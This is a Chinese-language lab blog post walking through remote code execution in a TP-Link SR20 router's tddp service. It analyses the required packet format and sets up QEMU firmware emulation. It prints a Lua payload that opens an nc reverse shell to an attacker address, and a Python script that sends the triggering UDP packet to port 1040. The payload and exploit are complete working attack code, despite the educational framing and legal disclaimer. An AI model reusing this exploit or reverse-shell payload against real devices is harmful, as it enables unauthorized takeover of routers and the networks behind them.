算是 iot 入门一下, 不过最后感觉也没入到门 从网上找到的对应路由器的 文件系统
, _tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
从网上来看,是因为路由器上的一个 tddp
这个服务存在漏洞, 跟着看一下吧。
漏洞分析
老洞新尝
进入 main
后的第一个操作
然后从1040
端口连接上后,这边开始根据接收的数据进行下一步的操作 , 这里v2是接收的数据的首字节地址,根据第一个字节里面的内 容进行分支操作, 最终的漏洞点在1
的分支下, 所以这里肯定会进入,因此第一个字节肯定是x01
这里开始根据传输的数据开始下一步操作
最后的漏洞点是这个分支, 这个判断根据的是第二个字节, 所以第二个字节必须是x31
这边进去后的操作基本全在这里了, 这里要求的第一个字节要在经过操作后不为, 上面因为第一个字节是x01
,所以这里肯定会向后移动12位,根据第12位的数据判断是否继续,所以传过去的数据第12位必须是x00
, 然后中途不能有;
,免得被分出去
关键位置
最后的 rce
执行是lua_call
,前面通过tftp
从对应地址下载 s
, 后面使用 access
检测是否有该文件, 然后就通过lua_loadfile
将这个文件加载, 后面执行这个文件里面的脚本函数, 如果这个脚本函数已经被注册的话, 从接下来的lua_getfield
知道是有一个被注册的函数是 config_test
, 然后lua_call
表示该函数是有2个参数与1个返回值的
从上面可以看到文件是从我们传过去, 因此里面的内容就是可控的, 因此可以自己构造文件的内容, 如下:
payload
function config_test(arg1, arg2)
os.execve("/bin/sh -c "mkfifo /tmp/fifo && nc 192.168.179.132 1234 0</tmp/fifo | /bin/sh 1>/tmp/fifo 2>&1" &")
end
将这个作为它要下载的文件,然后就是前面的字节构造
exp
import socket
import sys
addr = sys.argv[1]
port = 1040
Socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = b'x01x31x00'
FileName = sys.argv[2]
payload += b'solved'
payload = payload.ljust(12, b'x00')
payload += FileName.encode() + b';hello'
Socket.sendto(payload, (addr, port))
Socket.close()
print("over")
环境搭建
条件有限, 用qemu模拟这个debian系统 先在网上安装initrd.img-3.2.0-4-vexpress , vmlinuz-3.2.0-4-vexpress, 与 debian_wheezy_armhf_standard.qcow2
//因为不知情原因, 第一次搭建的时候没对齐 用qemu-img resize ./debian_wheezy_armhf_standard.qcow2 32G 对齐一下
//然后就是搭建参数
启动!!!
loader.sh
设置网络环境, 开启路由转发
#/bin/bash
sudo ip tuntap add dev tap0 mode tap user `whoami`
sudo ip link set tap0 up
sudo ip addr add 192.168.77.1/24 dev tap0
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -A FORWARD -i tap0 -o ens33 -j ACCEPT
sudo iptables -A FORWARD -o tap0 -i ens33 -j ACCEPT
sudo netfilter-persistent save
init.sh
#/bin/sh
sudo ./loader.sh
sudo qemu-system-arm -m 1024 -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2
-append "root=/dev/mmcblk0p2 console=ttyAMA0"
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
clean.sh
关闭路由转发与上面打开的虚拟接口
#/bin/bash
sudo ip link set tap0 down
sudo ip tuntap del dev tap0 mode tap
sudo sysctl -w net.ipv4.ip_forward=0
sudo iptables -t nat -D POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -D FORWARD -i tap0 -o ens33 -j ACCEPT
sudo iptables -D FORWARD -o tap0 -i ens33 -j ACCEPT
sudo netfilter-persistent save
然后本地启动 init.sh, 这个时候在linux上ifconfig是有一个 地址是 192.168.77.1的 tap0 的接口的
进去用户密码都是root , 然后进行网络配置
最后把路由器的文件系统传进去, 挂载proc 与 dev
这样这个固件就算成功模拟了
测试
在模拟的里面运行 tddp, 然后这边扫描1040 是否开启
在本地安装tftp 服务并启动
然后就是测试的结果了,本地监听端口1234, 然后 根据 exp 把 目标地址与 文件名字带上, 最后能看到成功反弹shell了
结束语
仅用于入门, 感觉就是一个逻辑漏洞, 一点ROP都没有用到,也不知道是不是这个原因导致他没有漏洞编号吧, 这个就算是简单了解一下一般的固件模拟吧,后续尝试了模拟其它的固件,除了用专门的工具(firmware-analysis-plus之类的, 但是这个也只能模拟它指定的那些), 真正的全些的固件模拟还是的qemu这些去自定义搭建, 然后还有一些其他的各种Hook等操作, 目前就死在这里。。。
E·N·D
本文由创信华通创安实验室编辑。
本文仅限于个人学习和技术研究,由于传播、利用此文所提供的信息而造成刑事案件、非授权攻击等违法行为,均由使用者本人负责,本单位不为此承担任何责任。创安攻防实验室拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。
如有侵权,请联系后台。
●
创安实验室
创信华通创安实验室成立于2021年9月,是成都创信华通信息技术有限公司旗下的技术研究团队,主要研究红蓝对抗、重大安全保障、应急响应等方向。
实验室秉承公司的发展理念,致力于打造国内一流的网络安全团队,成立至今,已多次完成了公安举办的重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...